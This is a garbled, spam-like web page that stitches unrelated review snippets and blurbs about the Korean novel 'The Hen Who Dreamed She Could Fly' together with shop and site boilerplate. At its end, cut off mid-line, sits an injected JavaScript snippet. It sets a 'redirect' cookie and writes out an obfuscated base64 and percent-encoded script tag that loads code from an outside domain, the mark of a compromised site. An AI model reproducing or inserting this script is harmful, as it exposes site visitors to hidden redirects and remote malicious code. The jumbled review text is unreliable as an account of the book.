Reviewed in the United Kingdom on 3 November 2020. The important thing is to understand each other. Of course for the farm society, all this is unacceptable and as expected it comes into conflict with our heroine and leads her into exile, so as not to offend them with her behaviour and set a bad example to children. there are hens, ducks, dogs, and weasels to add to the story. The protagonist is a philosophically restless hen who yearns to raise a chick, but her eggs are collected daily by the farmer's wife. It’s fair to say that my knowledge of the South Korean publishing industry is sorely and vastly lacking, but this book, which has sold more than two million copies, appears to have been something of a phenomenon: It was an instant bestseller upon publication, remained a bestseller for 10 years, and in addition to inspiring a play, a musical, and a comic, has been turned in South Korea’s to-date highest-grossing animated film. The Hen Who Dreamed She Could Fly. The feeling is amazing! See all details for The Hen Who Dreamed she Could Fly, © 1996-2020,, Inc. or its affiliates. Reviewed in the United Kingdom on 24 December 2016. The best-selling Korean novel, marketed as “a Korean Charlotte’s Web,” loses something in translation by ELAINE CHA. We use cookies and similar tools to enhance your shopping experience, to provide our services, understand how customers use our services so we can make improvements, and display ads. Me, my b, Mornings like this... * * #moments #motherson #mym, This error message is only visible to WordPress admins. The hen of our story was born to have a specific role on the farm, to have a specific position in the hierarchy imposed by strict rules. It is getting ready to come to other countries. This allegory is often compared to Charlotte's Web. Its a lovely book and I would certainly recommend it to my daughters when they were younger - and you as her parent will be able to pick up whether its suitably challenging or not for your daughter, which I assume the ratings are about? THE HEN WHO DREAMED SHE COULD FLY, a modern South Korean fable by Sun-mi Hwang, tells the story of Sprout, a plucky, ambitious and charismatic hen who lives in a coop. Lovely idea; but a clunkingly juvenile, unpoetic translation of what is a gentle exploration of motherhood and freedom. A few months ago, I read a review from my dear friend Maria Shabby Mommy about the book “The Hen Who Dreamed She Could Fly ” from the author Sun-mi Hwang. From the first page I cared what happened to the brave little hen who calls herself Sprout. You don't say what age your daughter is and that is important. This was a charming little fable about a hen called Sprout, who just wants to escape her cage and hatch an egg of her own. Sprout is my hero. Sprout survives against all odds, and The Hen, which contains similarly powerful stories and evoked in me similarly strong emotions as Charlotte’s Web, sees the equally compassionate and gutsy Sprout encounter all manner of farm and wild animals from a duck to a rooster to a dog to a weasel. she just wants to be a mommy. There's a problem loading this menu at the moment. Things get complicated when she decides to do something different, to choose a different way of life that is not in line with her social status and type, and in the end to experience motherhood on her own terms. Really enjoyable short story. Spare but evocative line drawings by the Japanese artist Nomoco add to the subtle charm of this slim volume. she lived on a farm and was used to lay eggs. هناك فراقٌ و لقاءٌ في الوقت نفسه تقربياً. B&w illus. Made me sad, but happy. It is safe to say that Sprout (that's the hen's name) is a true heroine. Fate is implacable; we all must die. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('